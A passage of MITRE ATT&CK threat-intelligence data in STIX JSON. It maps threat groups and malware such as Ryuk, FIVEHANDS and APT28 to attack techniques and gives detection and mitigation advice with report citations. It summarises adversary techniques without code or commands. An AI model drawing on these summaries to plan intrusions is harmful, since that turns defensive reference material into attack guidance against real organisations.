Trojan)","relationship_type":"uses","source_ref":"malware--f108215f-3487-489d-be8b-80e346d32518","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9a66e38c-ea79-4b7b-bf74-555da87d58c3","created":"2020-05-22T18:00:52.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.784Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used remote access tools that leverage DNS in communications with C2.(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a6825cb-0656-4d42-b4d7-8d0fa55394c0","type":"relationship","created":"2019-06-28T13:52:51.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2019-07-16T17:12:00.608Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) gathers information about network adapters using the Win32 API call GetAdaptersInfo.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a6a51a9-5bbf-4fd9-b489-0502820cc8ae","type":"relationship","created":"2021-08-05T12:41:57.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:50:29.837Z","description":"Data loss prevention can be detect and block sensitive data being uploaded to web services via web browsers.","relationship_type":"mitigates","source_ref":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9a6f72d8-f813-48d0-954c-43bd629b2c90","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-14T15:49:49.299Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. RDP sessions may be split up into multiple flows and would therefore need to be aggregated.\n\nAnomaly detection using machine learning or other methods based on baselined RDP network flows may be a viable approach to alerting on potential RDP session hijacking.","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a731403-67c3-4d68-aca1-e5c18e1637bf","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9a74aca4-4a5e-4a12-bd98-6a4d2df1b1a1","created":"2022-08-10T20:35:26.215Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.713Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used a script that decodes a Base64-encoded version of WeaveWorks Scope.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9a76cf7c-55d7-41d4-bba8-255eef275404","created":"2022-03-30T14:26:51.852Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts or creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.","modified":"2022-04-18T18:40:32.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9a78f409-0f6b-41fd-a18f-f38366e4703e","created":"2020-05-04T14:56:53.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sood and Enbody","description":"Aditya Sood and Richard Enbody. (2014, December 16). Targeted Cyber Attacks. Retrieved January 4, 2024.","url":"https://www.techtarget.com/searchsecurity/feature/Targeted-Cyber-Attacks"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-04T20:34:36.239Z","description":"[Hikit](https://attack.mitre.org/software/S0009) installs a self-generated certificate to the local trust store as a root CA and Trusted Publisher.(Citation: Sood and Enbody)","relationship_type":"uses","source_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a7d5e03-80a0-4ff8-b693-48e11c72aef3","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a7ff784-436b-40c5-bfb0-25e02e1d9940","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2021-04-27T19:53:20.454Z","description":"[DustySky](https://attack.mitre.org/software/S0062) achieves persistence by creating a Registry entry in HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run.(Citation: DustySky)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a823773-6bcc-4923-8f27-4729e771df2b","type":"relationship","created":"2022-03-22T14:31:39.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T14:31:39.355Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used Base64-encoded shellcode strings.(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a8788d7-3f27-49b4-bb60-0b0d581fa812","type":"relationship","created":"2020-02-04T19:13:24.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T23:06:31.686Z","description":"Ensure critical system files as well as those known to be abused by adversaries have restrictive permissions and are owned by an appropriately privileged account, especially if access is not required by users nor will inhibit system functionality.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a88636a-3ac1-4068-91df-82c51fa97086","type":"relationship","created":"2021-06-18T15:26:55.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-06-18T15:26:55.655Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) can run cmd through an IRC channel.(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9a8901ea-5cb3-431f-9be8-55986ea41448","created":"2022-03-07T19:33:01.721Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) has the ability to change the password of local users on compromised hosts and can log off users.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-09T15:12:29.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a8d5690-94b9-46d2-a383-6f26a3c25c80","type":"relationship","created":"2021-01-04T15:41:10.302Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearkSky Fox Kitten February 2020","url":"https://www.clearskysec.com/fox-kitten/","description":"ClearSky. (2020, February 16). Fox Kitten – Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."},{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-01-05T15:07:54.932Z","description":"[Pay2Key](https://attack.mitre.org/software/S0556) can encrypt data on victim's machines using RSA and AES algorithms in order to extort a ransom payment for decryption.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)","relationship_type":"uses","source_ref":"malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a91c3cf-b39d-470f-85fc-14bbebe39e98","type":"relationship","created":"2021-06-07T13:31:30.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-06-08T13:23:15.158Z","description":"[FIVEHANDS](https://attack.mitre.org/software/S0618) has the ability to delete volume shadow copies on compromised hosts.(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--f464354c-7103-47c6-969b-8766f0157ed2","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9a991049-8231-4f82-b10b-ca3f24d9b681","created":"2024-05-22T22:52:56.417Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:52:56.417Z","description":"[BFG Agonizer](https://attack.mitre.org/software/S1136) has been used by [Agrius](https://attack.mitre.org/groups/G1030) for wiping operations.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"malware--d6aefbbf-fbef-485a-973e-b5403d8f8b18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9a99712e-ea3c-47f7-a2f6-6109b9d0d4c3","created":"2023-09-05T14:20:22.008Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-05T14:20:22.008Z","description":"Routinely monitor user permissions to ensure only the expected users have the capability to request quota adjustments or modify tenant-level compute settings.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a99890c-dea1-4ef6-8605-fd4c43f6e37c","type":"relationship","created":"2021-03-29T13:01:52.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI RYUK RANSOMWARE","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf","description":"ANSSI. (2021, February 25). RYUK RANSOMWARE. Retrieved March 29, 2021."}],"modified":"2021-03-29T13:01:52.203Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) can remotely create a scheduled task to execute itself on a system.(Citation: ANSSI RYUK RANSOMWARE)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a9db72e-71ae-4e00-b723-434dd41855bc","type":"relationship","created":"2020-10-21T19:08:44.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}],"modified":"2020-10-21T22:48:31.430Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has a function to kill processes associated with defenses and can prevent certain processes from launching.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9aa9b9f6-a22f-4763-a2ff-7635f5022727","created":"2022-03-16T18:08:15.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US District Court Indictment GRU Oct 2018","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.","url":"https://www.justice.gov/opa/page/file/1098481/download"},{"source_name":"ESET Zebrocy May 2019","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/"},{"source_name":"Google TAG Ukraine Threat Landscape March 2022","description":"Huntley, S. (2022, March 7). An update on the threat landscape. Retrieved March 16, 2022.","url":"https://blog.google/threat-analysis-group/update-threat-landscape-ukraine"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022.","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-29T22:04:35.892Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has conducted credential phishing campaigns with links that redirect to credential harvesting sites.(Citation: Google TAG Ukraine Threat Landscape March 2022)(Citation: DOJ GRU Indictment Jul 2018)(Citation: ESET Zebrocy May 2019)(Citation: US District Court Indictment GRU Oct 2018)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9aaedcf6-f8fe-467f-bed3-6c7f4c4d7b8a","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9aaf5e70-4080-4f73-8d6d-3b19f754e9b9","type":"relationship","created":"2019-07-17T21:15:42.990Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-19T16:57:27.424Z","description":"Disable or block remotely available services that may be unnecessary.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ab576ed-2ba0-4fc5-87fc-2011a7cd183d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:37:09.582Z","description":"[Crimson](https://attack.mitre.org/software/S0115) contains a module to collect data from removable drives.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ab85095-bac1-4b21-8e9d-e24c084af0d2","created":"2020-08-31T14:56:42.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.733Z","description":"[Valak](https://attack.mitre.org/software/S0476) has used packed DLL payloads.(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ab8569f-3b5a-455b-880f-10d29cbae970","created":"2024-06-06T17:50:36.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Huntress INC Ransomware May 2024","description":"Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/lolbin-to-inc-ransomware"},{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"},{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T19:06:14.106Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has acquired and used several tools including MegaSync, AnyDesk, [esentutl](https://attack.mitre.org/software/S0404) and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Cybereason INC Ransomware November 2023)(Citation: Huntress INC Ransom Group August 2023)(Citation: SOCRadar INC Ransom January 2024)(Citation: Huntress INC Ransomware May 2024)(Citation: SentinelOne INC Ransomware)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9abd0448-a3b7-4262-8753-fe81dc91c434","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Respond Webinar July 2017","description":"Scavella, T. and Rifki, A. 